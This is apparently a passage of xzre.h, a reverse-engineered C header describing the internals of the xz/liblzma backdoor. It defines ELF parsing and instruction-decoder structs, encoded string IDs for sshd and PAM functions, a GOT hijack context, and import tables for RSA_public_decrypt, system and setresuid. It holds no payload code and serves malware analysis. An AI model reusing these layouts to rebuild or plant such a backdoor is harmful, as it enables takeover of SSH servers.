xzre.h

Go to the documentation of this file.

 
#ifndef __XZRE_H
#define __XZRE_H
 
#ifndef XZRE_SLIM
#define _GNU_SOURCE
#include <assert.h>
#include <link.h>
#include <stddef.h>
#include <stdint.h>
#include <sys/select.h>
#include <time.h>
#endif
 
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef uintptr_t uptr;
 
#ifdef XZRE_SLIM
typedef unsigned int pid_t;
typedef unsigned int uid_t;
typedef unsigned int gid_t;
typedef unsigned int mode_t;
 
typedef uint16_t Elf64_Half;
typedef uint32_t Elf64_Word;
typedef int32_t  Elf64_Sword;
typedef uint64_t Elf64_Xword;
typedef int64_t  Elf64_Sxword;
typedef uint32_t Elf32_Addr;
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Off;
typedef uint16_t Elf64_Section;
 
typedef Elf64_Xword Elf64_Relr;
 
#define EI_NIDENT (16)
typedef struct
{
  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
  Elf64_Half    e_type;         /* Object file type */
  Elf64_Half    e_machine;      /* Architecture */
  Elf64_Word    e_version;      /* Object file version */
  Elf64_Addr    e_entry;        /* Entry point virtual address */
  Elf64_Off e_phoff;        /* Program header table file offset */
  Elf64_Off e_shoff;        /* Section header table file offset */
  Elf64_Word    e_flags;        /* Processor-specific flags */
  Elf64_Half    e_ehsize;       /* ELF header size in bytes */
  Elf64_Half    e_phentsize;        /* Program header table entry size */
  Elf64_Half    e_phnum;        /* Program header table entry count */
  Elf64_Half    e_shentsize;        /* Section header table entry size */
  Elf64_Half    e_shnum;        /* Section header table entry count */
  Elf64_Half    e_shstrndx;     /* Section header string table index */
} Elf64_Ehdr;
 
typedef struct
{
  Elf64_Word    p_type;         /* Segment type */
  Elf64_Word    p_flags;        /* Segment flags */
  Elf64_Off p_offset;       /* Segment file offset */
  Elf64_Addr    p_vaddr;        /* Segment virtual address */
  Elf64_Addr    p_paddr;        /* Segment physical address */
  Elf64_Xword   p_filesz;       /* Segment size in file */
  Elf64_Xword   p_memsz;        /* Segment size in memory */
  Elf64_Xword   p_align;        /* Segment alignment */
} Elf64_Phdr;
 
typedef struct
{
  Elf64_Sxword  d_tag;          /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;        /* Integer value */
      Elf64_Addr d_ptr;         /* Address value */
    } d_un;
} Elf64_Dyn;
 
 
typedef struct
{
  Elf64_Word    st_name;        /* Symbol name (string tbl index) */
  unsigned char st_info;        /* Symbol type and binding */
  unsigned char st_other;       /* Symbol visibility */
  Elf64_Section st_shndx;       /* Section index */
  Elf64_Addr    st_value;       /* Symbol value */
  Elf64_Xword   st_size;        /* Symbol size */
} Elf64_Sym;
 
typedef struct
{
  Elf64_Addr    r_offset;       /* Address */
  Elf64_Xword   r_info;         /* Relocation type and symbol index */
  Elf64_Sxword  r_addend;       /* Addend */
} Elf64_Rela;
 
typedef uptr
    Elf32_Sym, Elf64_Relr, 
    Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA, 
    BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
    EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
typedef struct {
    void *(*alloc)(void *opaque, size_t nmemb, size_t size);
    void (*free)(void *opaque, void *ptr);
    void *opaque;
} lzma_allocator;
 
typedef long int Lmid_t;
#define ElfW(Sym) Elf64_Sym
 
 
typedef enum {
    LZMA_CHECK_NONE     = 0,
    LZMA_CHECK_CRC32    = 1,
    LZMA_CHECK_CRC64    = 4,
    LZMA_CHECK_SHA256   = 10
} lzma_check;
 
#endif
 
#ifndef XZRE_SLIM
#include <lzma.h>
#include <openssl/dsa.h>
#include <openssl/ec.h>
#include <openssl/evp.h>
#include <openssl/rsa.h>
#include <elf.h>
#include <link.h>
typedef Elf64_Xword Elf64_Relr;
#endif
 
#define UPTR(x) ((uptr)(x))
#define PTRADD(a, b) (UPTR(a) + UPTR(b))
#define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
 
/*
 * Force a compilation error if condition is true, but also produce a
 * result (of value 0 and type int), so the expression can be used
 * e.g. in a structure initializer (or where-ever else comma expressions
 * aren't permitted).
 */
#define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
#define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
#define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
 
// copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
struct auditstate
{
        uintptr_t cookie;
        unsigned int bindflags;
};
 
typedef struct link_map *lookup_t;
 
typedef struct gnu_hash_table {
    uint32_t nbuckets;
    uint32_t symoffset;
    uint32_t bloom_size;
    uint32_t bloom_shift;
    uint64_t bloom[];
    #if 0
    // uint64_t bloom[bloom_size]; /* uint32_t for 32-bit binaries */
    // uint32_t buckets[nbuckets];
    // uint32_t chain[];
    #endif
} gnu_hash_table_t;
 
struct La_i86_regs;
struct La_i86_retval;
struct La_x86_64_regs;
struct La_x86_64_retval;
struct La_x32_regs;
struct La_x32_retval;
 
// copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
// and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
struct audit_ifaces
{
    void (*activity) (uintptr_t *, unsigned int);
    char *(*objsearch) (const char *, uintptr_t *, unsigned int);
    unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
    void (*preinit) (uintptr_t *);
    union
    {
        uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
            uintptr_t *, unsigned int *, const char *);
        uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
            uintptr_t *, unsigned int *, const char *);
    };
    union
    {
        Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
            uintptr_t *, struct La_i86_regs *,
            unsigned int *, const char *name,
            long int *framesizep);
        Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
            uintptr_t *,
            uintptr_t *, struct La_x86_64_regs *,
            unsigned int *, const char *name,
            long int *framesizep);
        Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
            uintptr_t *, struct La_x32_regs *,
            unsigned int *, const char *name,
            long int *framesizep);
    };
    union
    {
        unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
            uintptr_t *, const struct La_i86_regs *,
            struct La_i86_retval *, const char *);
        unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
            uintptr_t *,
            uintptr_t *,
            const struct La_x86_64_regs *,
            struct La_x86_64_retval *,
            const char *);
        unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
            uintptr_t *,
            const struct La_x32_regs *,
            struct La_x86_64_retval *,
            const char *);
    };
    unsigned int (*objclose) (uintptr_t *);
 
    struct audit_ifaces *next;
};
 
 
typedef struct {
    uint32_t state[8];
 
    uint64_t size;
} lzma_sha256_state;
 
typedef struct {
    uint8_t buffer[64];
 
    union {
        uint32_t crc32;
        uint64_t crc64;
        lzma_sha256_state sha256;
    } state;
 
} lzma_check_state;
 
#define CHACHA20_KEY_SIZE 32
#define CHACHA20_IV_SIZE 16
#define SHA256_DIGEST_SIZE 32
#define ED448_KEY_SIZE 57
#define ED448_SIGNATURE_SIZE 114
 
#define X_BN_num_bytes(bits) (((bits)+7)/8)
 
// opcode is always +0x80 for the sake of it (yet another obfuscation)
#define XZDASM_OPC(op) ((u8)(op) - 0x80)
 
enum X86_OPCODE {
    X86_OPCODE_LEA = 0x8D,
    X86_OPCODE_CALL = 0xE8,
    // CMP  r16/32/64   r/m16/32/64
    X86_OPCODE_CMP = 0x3B,
    // MOV  r/m16/32/64     r16/32/64
    X86_OPCODE_MOV = 0x89,
    // MOV  r16/32/64   r/m16/32/64
    X86_OPCODE_MOV_LOAD = 0x8B,
    // MOV  m16     Sreg                                    Move
    // MOV  r16/32/64   Sreg
    X86_OPCODE_MOV_STORE = 0x8C
};
 
#define XZDASM_TEST_MASK(mask, offset, opcode) \
    (((mask >> ((u8)(XZDASM_OPC(opcode) + offset))) & 1) == 1)
 
enum X86_REG {
    X86_REG_RBP = 5
};
 
typedef int BOOL;
 
#define TRUE 1
#define FALSE 0
 
typedef enum {
    // has lock or rep prefix
    DF1_LOCK_REP = 1,
    //1 has segment override
    DF1_SEG = 2,
    //1 has operand size override
    DF1_OSIZE = 4,
    //1 has address size override
    DF1_ASIZE = 8,
    //1 vex instruction
    DF1_VEX = 0x10,
    //1 has rex
    DF1_REX = 0x20,
    //1 has modrm
    DF1_MODRM = 0x40,
    //1 has sib
    DF1_SIB = 0x80
} InstructionFlags;
 
typedef enum {
    // memory with displacement
    DF2_MEM_DISP = 0x1,
    //2 8-bit displacement
    DF2_MEM_DISP8 = 0x2,
    //2 memory seg+offs (0xa0-0xa3)
    DF2_MEM_SEG_OFFS = 0x4,
 
    // mask to check for memory flags
    DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
 
    //2 has immediate
    DF2_IMM = 0x8,
    //2 64-bit immediate (movabs)
    DF2_IMM64 = 0x10
} InstructionFlags2;
 
typedef enum {
    // ELF has JMPREL relocs
    X_ELF_PLTREL = 0x1,
    // ELF has RELA relocs
    X_ELF_RELA = 0x2,
    // ELF has RELR relocs
    X_ELF_RELR = 0x4,
    // ELF has DT_VERDEF
    X_ELF_VERDEF = 0x8,
    // ELF has DT_VERSYM
    X_ELF_VERSYM = 0x10,
    // ELF has DF_1_NOW
    X_ELF_NOW = 0x20
} ElfFlags;
 
typedef enum {
    // register-indirect addressing or no displacement
    MRM_I_REG, // 00
    // indirect with one byte displacement
    MRM_I_DISP1, // 01
    // indirect with four byte displacement
    MRM_I_DISP4, // 10
    // direct-register addressing
    MRM_D_REG // 11
} ModRm_Mod;
 
typedef enum {
    // find function beginning by looking for endbr64
    FIND_ENDBR64,
    // find function beginning by looking for padding,
    // then getting the instruction after it
    FIND_NOP
} FuncFindType;
 
typedef enum {
    X_ELF_MAIN = 0,
    X_ELF_DYNAMIC_LINKER = 1,
    X_ELF_LIBC = 2,
    X_ELF_LIBCRYPTO = 3
} ElfId;
 
typedef enum {
    XREF_xcalloc_zero_size = 0,
    XREF_Could_not_chdir_to_home_directory_s_s = 1,
    XREF_list_hostkey_types = 2,
    XREF_demote_sensitive_data = 3,
    XREF_mm_terminate = 4,
    XREF_mm_pty_allocate = 5,
    XREF_mm_do_pam_account = 6,
    XREF_mm_session_pty_cleanup2 = 7,
    XREF_mm_getpwnamallow = 8,
    XREF_mm_sshpam_init_ctx = 9,
    XREF_mm_sshpam_query = 10,
    XREF_mm_sshpam_respond = 11,
    XREF_mm_sshpam_free_ctx = 12,
    XREF_mm_choose_dh = 13,
    XREF_sshpam_respond = 14,
    XREF_sshpam_auth_passwd = 15,
    XREF_sshpam_query = 16,
    XREF_start_pam = 17,
    XREF_mm_request_send = 18,
    XREF_mm_log_handler = 19,
    XREF_Could_not_get_agent_socket = 20,
    XREF_auth_root_allowed = 21,
    XREF_mm_answer_authpassword = 22,
    XREF_mm_answer_keyallowed = 23,
    XREF_mm_answer_keyverify = 24,
    XREF_48s_48s_d_pid_ld_ = 25,
    XREF_Unrecognized_internal_syslog_level_code_d = 26
} StringXrefId;
 
typedef enum {
    STR_from = 0x810,
    STR_ssh2 = 0x678,
    STR_48s_48s_d_pid_ld_ = 0xd8,
    STR_s = 0x708,
    STR_usr_sbin_sshd = 0x108,
    STR_Accepted_password_for = 0x870,
    STR_Accepted_publickey_for = 0x1a0,
    STR_BN_bin2bn = 0xc40,
    STR_BN_bn2bin = 0x6d0,
    STR_BN_dup = 0x958,
    STR_BN_free = 0x418,
    STR_BN_num_bits = 0x4e0,
    STR_Connection_closed_by = 0x790,
    STR_Could_not_chdir_to_home_directory_s_s = 0x18,
    STR_Could_not_get_agent_socket = 0xb0,
    STR_DISPLAY = 0x960,
    STR_DSA_get0_pqg = 0x9d0,
    STR_DSA_get0_pub_key = 0x468,
    STR_EC_KEY_get0_group = 0x7e8,
    STR_EC_KEY_get0_public_key = 0x268,
    STR_EC_POINT_point2oct = 0x6e0,
    STR_EVP_CIPHER_CTX_free = 0xb28,
    STR_EVP_CIPHER_CTX_new = 0x838,
    STR_EVP_DecryptFinal_ex = 0x2a8,
    STR_EVP_DecryptInit_ex = 0xc08,
    STR_EVP_DecryptUpdate = 0x3f0,
    STR_EVP_Digest = 0xf8,
    STR_EVP_DigestVerify = 0x408,
    STR_EVP_DigestVerifyInit = 0x118,
    STR_EVP_MD_CTX_free = 0xd10,
    STR_EVP_MD_CTX_new = 0xaf8,
    STR_EVP_PKEY_free = 0x6f8,
    STR_EVP_PKEY_new_raw_public_key = 0x758,
    STR_EVP_PKEY_set1_RSA = 0x510,
    STR_EVP_chacha20 = 0xc28,
    STR_EVP_sha256 = 0xc60,
    STR_EVP_sm = 0x188,
    STR_GLIBC_2_2_5 = 0x8c0,
    STR_GLRO_dl_naudit_naudit = 0x6a8,
    STR_KRB5CCNAME = 0x1e0,
    STR_LD_AUDIT = 0xcf0,
    STR_LD_BIND_NOT = 0xbc0,
    STR_LD_DEBUG = 0xa90,
    STR_LD_PROFILE = 0xb98,
    STR_LD_USE_LOAD_BIAS = 0x3e0,
    STR_LINES = 0xa88,
    STR_RSA_free = 0xac0,
    STR_RSA_get0_key = 0x798,
    STR_RSA_new = 0x918,
    STR_RSA_public_decrypt = 0x1d0,
    STR_RSA_set0_key = 0x540,
    STR_RSA_sign = 0x8f8,
    STR_SSH_2_0 = 0x990,
    STR_TERM = 0x4a8,
    STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
    STR_WAYLAND_DISPLAY = 0x158,
    STR_errno_location = 0x878,
    STR_libc_stack_end = 0x2b0,
    STR_libc_start_main = 0x228,
    STR_dl_audit_preinit = 0xa60,
    STR_dl_audit_symbind_alt = 0x9c8,
    STR_exit = 0x8a8,
    STR_r_debug = 0x5b0,
    STR_rtld_global = 0x5b8,
    STR_rtld_global_ro = 0xa98,
    STR_auth_root_allowed = 0xb8,
    STR_authenticating = 0x1d8,
    STR_demote_sensitive_data = 0x28,
    STR_getuid = 0x348,
    STR_ld_linux_x86_64_so = 0xa48,
    STR_libc_so = 0x7d0,
    STR_libcrypto_so = 0x7c0,
    STR_liblzma_so = 0x590,
    STR_libsystemd_so = 0x938,
    STR_list_hostkey_types = 0x20,
    STR_malloc_usable_size = 0x440,
    STR_mm_answer_authpassword = 0xc0,
    STR_mm_answer_keyallowed = 0xc8,
    STR_mm_answer_keyverify = 0xd0,
    STR_mm_answer_pam_start = 0x948,
    STR_mm_choose_dh = 0x78,
    STR_mm_do_pam_account = 0x40,
    STR_mm_getpwnamallow = 0x50,
    STR_mm_log_handler = 0xa8,
    STR_mm_pty_allocate = 0x38,
    STR_mm_request_send = 0xa0,
    STR_mm_session_pty_cleanup2 = 0x48,
    STR_mm_sshpam_free_ctx = 0x70,
    STR_mm_sshpam_init_ctx = 0x58,
    STR_mm_sshpam_query = 0x60,
    STR_mm_sshpam_respond = 0x68,
    STR_mm_terminate = 0x30,
    STR_parse_PAM = 0xc58,
    STR_password = 0x400,
    STR_preauth = 0x4f0,
    STR_pselect = 0x690,
    STR_publickey = 0x7b8,
    STR_read = 0x308,
    STR_rsa_sha2_256 = 0x710,
    STR_setlogmask = 0x428,
    STR_setresgid = 0x5f0,
    STR_setresuid = 0xab8,
    STR_shutdown = 0x760,
    STR_ssh_2_0 = 0xd08,
    STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
    STR_sshpam_auth_passwd = 0x88,
    STR_sshpam_query = 0x90,
    STR_sshpam_respond = 0x80,
    STR_start_pam = 0x98,
    STR_system = 0x9f8,
    STR_unknown = 0x198,
    STR_user = 0xb10,
    STR_write = 0x380,
    STR_xcalloc_zero_size = 0x10,
    STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
    STR_ELF = 0x300,
} EncodedStringId;
 
typedef enum {
    PAYLOAD_STATE_INITIAL = -1
} PayloadState;
 
#ifndef XZRE_SLIM
#define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
#else
#define assert_offset(t, f, o) 
#endif
 
#define CONCAT(x, y) x ## y
#define EXPAND(x, y) CONCAT(x, y)
#define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
 
struct sshbuf {
    u8 *d;      /* Data */
    const u8 *cd;   /* Const data */
    size_t off;     /* First available byte is buf->d + buf->off */
    size_t size;        /* Last byte is buf->d + buf->size - 1 */
    size_t max_size;    /* Maximum size of buffer */
    size_t alloc;       /* Total bytes allocated to buf->d */
    int readonly;       /* Refers to external, const data */
    u32 refcount;       /* Tracks self and number of child buffers */
    struct sshbuf *parent;  /* If child, pointer to parent */
};
static_assert(sizeof(struct sshbuf) == 64);
 
struct kex;
 
/* permit_root_login */
#define PERMIT_NOT_SET      -1
#define PERMIT_NO       0
#define PERMIT_FORCED_ONLY  1
#define PERMIT_NO_PASSWD    2
#define PERMIT_YES      3
 
struct monitor {
    int          m_recvfd;
    int          m_sendfd;
    int          m_log_recvfd;
    int          m_log_sendfd;
    struct kex      **m_pkex;
    pid_t            m_pid;
};
 
struct sensitive_data {
    struct sshkey   **host_keys;        /* all private host keys */
    struct sshkey   **host_pubkeys;     /* all public host keys */
    struct sshkey   **host_certificates;    /* all public host certificates */
    int     have_ssh2_key;
};
 
struct sshkey {
    int  type;
    int  flags;
    /* KEY_RSA */
    RSA *rsa;
    /* KEY_DSA */
    DSA *dsa;
    /* KEY_ECDSA and KEY_ECDSA_SK */
    int ecdsa_nid;  /* NID of curve */
    EC_KEY *ecdsa;
    /* KEY_ED25519 and KEY_ED25519_SK */
    u8 *ed25519_sk;
    u8 *ed25519_pk;
    /* KEY_XMSS */
    char *xmss_name;
    char *xmss_filename;    /* for state file updates */
    void *xmss_state;   /* depends on xmss_name, opaque */
    u8 *xmss_sk;
    u8 *xmss_pk;
    /* KEY_ECDSA_SK and KEY_ED25519_SK */
    char sk_application;
    u8 sk_flags;
    struct sshbuf *sk_key_handle;
    struct sshbuf *sk_reserved;
    /* Certificates */
    struct sshkey_cert *cert;
    /* Private key shielding */
    u8 *shielded_private;
    size_t  shielded_len;
    u8 *shield_prekey;
    size_t  shield_prekey_len;
};
 
typedef struct __attribute__((packed)) got_ctx {
    void *got_ptr;
    void *return_address;
    void *cpuid_fn;
    ptrdiff_t got_offset;
} got_ctx_t;
 
assert_offset(got_ctx_t, got_ptr, 0);
assert_offset(got_ctx_t, return_address, 0x8);
assert_offset(got_ctx_t, cpuid_fn, 0x10);
assert_offset(got_ctx_t, got_offset, 0x18);
static_assert(sizeof(got_ctx_t) == 0x20);
 
typedef struct __attribute__((packed)) elf_entry_ctx {
    void *symbol_ptr;
    got_ctx_t got_ctx;
    u64 *frame_address;
} elf_entry_ctx_t;
 
assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
assert_offset(elf_entry_ctx_t, frame_address, 0x28);
 
#define X86_MODRM_BYTE(mod, reg, rm) \
    ((u8)(0 \
        | (u8)(((mod) & 3) << 6) \
        | (u8)(((reg) & 7) << 3) \
        | (u8)(((rm) & 7)) \
    ))
 
#define X86_REX_BYTE(w,r,x,b) \
    ((u8)(0x40 \
        | (u8)(((w) & 1) << 3) \
        | (u8)(((r) & 1) << 2) \
        | (u8)(((x) & 1) << 1) \
        | (u8)(((b) & 1) << 0) \
    ))
 
#define X86_REX_W X86_REX_BYTE(1,0,0,0)
 
#define XZDASM_MODRM_MAKE(mod, reg, rm) \
    ((u32)(0 \
        | (u32)(((rm) & 0xFF)<< 24) \
        | (u32)(((reg) & 0xFF) << 16) \
        | (u32)(((mod) & 0xFF) << 8) \
        | X86_MODRM_BYTE(mod, reg, rm) \
    ))
 
enum dasm_modrm_mask {
    XZ_MODRM_RM  = 0xFF000000,
    XZ_MODRM_REG = 0x00FF0000,
    XZ_MODRM_MOD = 0x0000FF00,
    XZ_MODRM_RAW = 0x000000FF
};
 
typedef struct __attribute__((packed)) dasm_ctx {
    u8* instruction;
    u64 instruction_size;
    union {
        struct __attribute__((packed)) {
            u8 flags;
            u8 flags2;
            PADDING(2);
            u8 lock_rep_byte;
            u8 seg_byte;
            u8 osize_byte;
            u8 asize_byte;
            u8 vex_byte;
            u8 vex_byte2;
            u8 vex_byte3;
            union {
                struct __attribute__((packed)) {
                    u8 B : 1;
                    u8 X : 1;
                    u8 R : 1;
                    u8 W : 1;
                    u8 BitPattern : 4; // always 0100b
                };
                u8 rex_byte;
            };
            union {
                // in little endian order
                struct __attribute__((packed)) {
                    /* 3 */ u8 modrm;
                    /* 2 */ u8 modrm_mod;
                    /* 1 */ u8 modrm_reg;
                    /* 0 */ u8 modrm_rm;
                };
                u32 modrm_word;
            };
        };
        u16 flags_u16;
        };
    u8 imm64_reg; // low 3 bits only
    struct __attribute__((packed)) {
        union {
            struct __attribute__((packed)) {
                u8 sib;
                u8 sib_scale;
                u8 sib_index;
                u8 sib_base;
            };
            u32 sib_word;
        };
    };
    PADDING(3);
    u32 opcode;
    PADDING(4);
    u64 mem_disp;
    // e.g. in CALL
    u64 operand;
    u64 operand_zeroextended;
    u64 operand_size;
    u8 insn_offset;
    PADDING(7);
} dasm_ctx_t;
 
assert_offset(dasm_ctx_t, instruction, 0);
assert_offset(dasm_ctx_t, instruction_size, 8);
assert_offset(dasm_ctx_t, flags, 0x10);
assert_offset(dasm_ctx_t, flags2, 0x11);
assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
assert_offset(dasm_ctx_t, seg_byte, 0x15);
assert_offset(dasm_ctx_t, osize_byte, 0x16);
assert_offset(dasm_ctx_t, asize_byte, 0x17);
assert_offset(dasm_ctx_t, vex_byte, 0x18);
assert_offset(dasm_ctx_t, vex_byte2, 0x19);
assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
assert_offset(dasm_ctx_t, rex_byte, 0x1B);
assert_offset(dasm_ctx_t, modrm, 0x1C);
assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
assert_offset(dasm_ctx_t, imm64_reg, 0x20);
assert_offset(dasm_ctx_t, sib, 0x21);
assert_offset(dasm_ctx_t, sib_scale, 0x22);
assert_offset(dasm_ctx_t, sib_index, 0x23);
assert_offset(dasm_ctx_t, sib_base, 0x24);
assert_offset(dasm_ctx_t, opcode, 0x28);
assert_offset(dasm_ctx_t, mem_disp, 0x30);
assert_offset(dasm_ctx_t, operand, 0x38);
assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
assert_offset(dasm_ctx_t, operand_size, 0x48);
assert_offset(dasm_ctx_t, insn_offset, 0x50);
static_assert(sizeof(dasm_ctx_t) == 0x58);
 
typedef struct __attribute__((packed)) elf_info {
    Elf64_Ehdr *elfbase;
    u64 first_vaddr;
    Elf64_Phdr *phdrs;
    u64 e_phnum;
    Elf64_Dyn *dyn;
    u64 dyn_num_entries;
    char *strtab;
    Elf64_Sym *symtab;
    Elf64_Rela *plt_relocs;
    u32 plt_relocs_num;
    BOOL gnurelro_found;
    u64 gnurelro_vaddr;
    u64 gnurelro_memsize;
    Elf64_Verdef *verdef;
    u64 verdef_num;
    Elf64_Versym *versym;
    Elf64_Rela *rela_relocs;
    u32 rela_relocs_num;
    u32 _unused0;
    Elf64_Relr *relr_relocs;
    u32 relr_relocs_num;
    PADDING(4);
    u64 code_segment_start;
    u64 code_segment_size;
 
    u64 rodata_segment_start;
    u64 rodata_segment_size;
    u64 data_segment_start;
    u64 data_segment_size;
    u64 data_segment_alignment;
 
    u8 flags;
    PADDING(7);
    u32 gnu_hash_nbuckets;
    u32 gnu_hash_last_bloom;
    u32 gnu_hash_bloom_shift;
    PADDING(4);
    u64 *gnu_hash_bloom;
    u32 *gnu_hash_buckets;
    u32 *gnu_hash_chain;
} elf_info_t;
 
assert_offset(elf_info_t, elfbase, 0x0);
assert_offset(elf_info_t, first_vaddr, 0x8);
assert_offset(elf_info_t, phdrs, 0x10);
assert_offset(elf_info_t, e_phnum, 0x18);
assert_offset(elf_info_t, dyn, 0x20);
assert_offset(elf_info_t, dyn_num_entries, 0x28);
assert_offset(elf_info_t, strtab, 0x30);
assert_offset(elf_info_t, symtab, 0x38);
assert_offset(elf_info_t, plt_relocs, 0x40);
assert_offset(elf_info_t, plt_relocs_num, 0x48);
assert_offset(elf_info_t, gnurelro_found, 0x4C);
assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
assert_offset(elf_info_t, gnurelro_memsize, 0x58);
assert_offset(elf_info_t, verdef, 0x60);
assert_offset(elf_info_t, verdef_num, 0x68);
assert_offset(elf_info_t, versym, 0x70);
assert_offset(elf_info_t, rela_relocs, 0x78);
assert_offset(elf_info_t, rela_relocs_num, 0x80);
assert_offset(elf_info_t, relr_relocs, 0x88);
assert_offset(elf_info_t, relr_relocs_num, 0x90);
assert_offset(elf_info_t, code_segment_start, 0x98);
assert_offset(elf_info_t, code_segment_size, 0xA0);
assert_offset(elf_info_t, rodata_segment_start, 0xA8);
assert_offset(elf_info_t, rodata_segment_size, 0xB0);
assert_offset(elf_info_t, data_segment_start, 0xB8);
assert_offset(elf_info_t, data_segment_size, 0xC0);
assert_offset(elf_info_t, data_segment_alignment, 0xC8);
assert_offset(elf_info_t, flags, 0xD0);
assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
static_assert(sizeof(elf_info_t) == 0x100);
 
typedef struct __attribute__((packed)) libc_imports {
    u32 resolved_imports_count;
    PADDING(4);
    size_t (*malloc_usable_size)(void *ptr);
    uid_t (*getuid)(void);
    void (*exit)(int status);
    int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid); 
    int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
    int (*system)(const char *command);
    ssize_t (*write)(int fd, const void *buf, size_t count);
    int (*pselect)(
        int nfds, fd_set *readfds, fd_set *writefds,
        fd_set *exceptfds, const struct timespec *timeout,
        const sigset_t *sigmask);
    ssize_t (*read)(int fd, void *buf, size_t count);
    int *(*__errno_location)(void);
    int (*setlogmask)(int mask);
    int (*shutdown)(int sockfd, int how);
    void *__libc_stack_end;
} libc_imports_t;
 
assert_offset(libc_imports_t, resolved_imports_count, 0);
assert_offset(libc_imports_t, malloc_usable_size, 8);
assert_offset(libc_imports_t, getuid, 0x10);
assert_offset(libc_imports_t, exit, 0x18);
assert_offset(libc_imports_t, setresgid, 0x20);
assert_offset(libc_imports_t, setresuid, 0x28);
assert_offset(libc_imports_t, system, 0x30);
assert_offset(libc_imports_t, write, 0x38);
assert_offset(libc_imports_t, pselect, 0x40);
assert_offset(libc_imports_t, read, 0x48);
assert_offset(libc_imports_t, __errno_location, 0x50);
assert_offset(libc_imports_t, setlogmask, 0x58);
assert_offset(libc_imports_t, shutdown, 0x60);
assert_offset(libc_imports_t, __libc_stack_end, 0x68);
static_assert(sizeof(libc_imports_t) == 0x70);
 
typedef int (*pfn_RSA_public_decrypt_t)(
    int flen, unsigned char *from, unsigned char *to,
    RSA *rsa, int padding);
typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
typedef void (*pfn_RSA_get0_key_t)(
    const RSA *r,
    const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
 
typedef struct __attribute__((packed)) imported_funcs {
    pfn_RSA_public_decrypt_t RSA_public_decrypt;
    pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
    // ???
    void (*RSA_get0_key_null)(
        const RSA *r, const BIGNUM **n,
        const BIGNUM **e, const BIGNUM **d);
    pfn_RSA_public_decrypt_t *RSA_public_decrypt_plt;
    pfn_EVP_PKEY_set1_RSA_t *EVP_PKEY_set1_RSA_plt;
    pfn_RSA_get0_key_t *RSA_get0_key_plt;
    void (*DSA_get0_pqg)(
        const DSA *d, const BIGNUM **p,
        const BIGNUM **q, const BIGNUM **g);
    const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
    size_t (*EC_POINT_point2oct)(
        const EC_GROUP *group, const EC_POINT *p,
        point_conversion_form_t form, unsigned char *buf,
        size_t len, BN_CTX *ctx);
    EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
    const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
    EVP_MD *(*EVP_sha256)(void);
    pfn_RSA_get0_key_t RSA_get0_key;
    int (*BN_num_bits)(const BIGNUM *a);
    EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
        int type, ENGINE *e,
